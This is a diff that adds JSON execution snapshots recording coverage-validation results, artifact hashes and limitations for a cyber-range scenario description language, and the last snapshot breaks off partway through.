"pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "46b620178977b97fd8c0589e745a262de6f3da7c6385ec091a2d56080d321dc7", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "9ab6f584a3595be771d3f6a425e2d27dffc2c9e278006c785709c1feda61790b", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "cfd3ddd91c4b289dd061e07cc8d08c6bdb39c4bf8af558ac3bdd0f6ad5a6475f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "c105d5240ab0b4d794cc7bfb8901fc696c324016", + "snapshot_id": "raes-standardized-specification-coverage-issue-1242-v24", + "snapshot_revision": "24.0.0", + "source_state": { + "base_revision": "c105d5240ab0b4d794cc7bfb8901fc696c324016", + "checkout_state": "modified", + "implementation_digest": "6cddf7aaf4655a7263b5572324521d7dae3ce9bf57959fe1999029394f319dbb", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v25.json b/docs/research/specification-coverage/execution-snapshot-v25.json new file mode 100644 index 000000000..198940a62 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v25.json @@ -0,0 +1,687 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-16T23:09:11.934863+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "46b620178977b97fd8c0589e745a262de6f3da7c6385ec091a2d56080d321dc7", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "9ab6f584a3595be771d3f6a425e2d27dffc2c9e278006c785709c1feda61790b", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "365a9abb48aff3bc11a595fb42dfcbaa506d7bac15558d5853a6c9ca5aa19443", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "4c41d579818948cb673c8b81d3761b364da335e9", + "snapshot_id": "raes-standardized-specification-coverage-issue-214-v25", + "snapshot_revision": "25.0.0", + "source_state": { + "base_revision": "4c41d579818948cb673c8b81d3761b364da335e9", + "checkout_state": "modified", + "implementation_digest": "f6ee2cf894d554d69bbf784efdccd1158605ade452ad3379072077ad47c7b73c", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v26.json b/docs/research/specification-coverage/execution-snapshot-v26.json new file mode 100644 index 000000000..6b4954292 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v26.json @@ -0,0 +1,688 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-17T03:15:00+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + 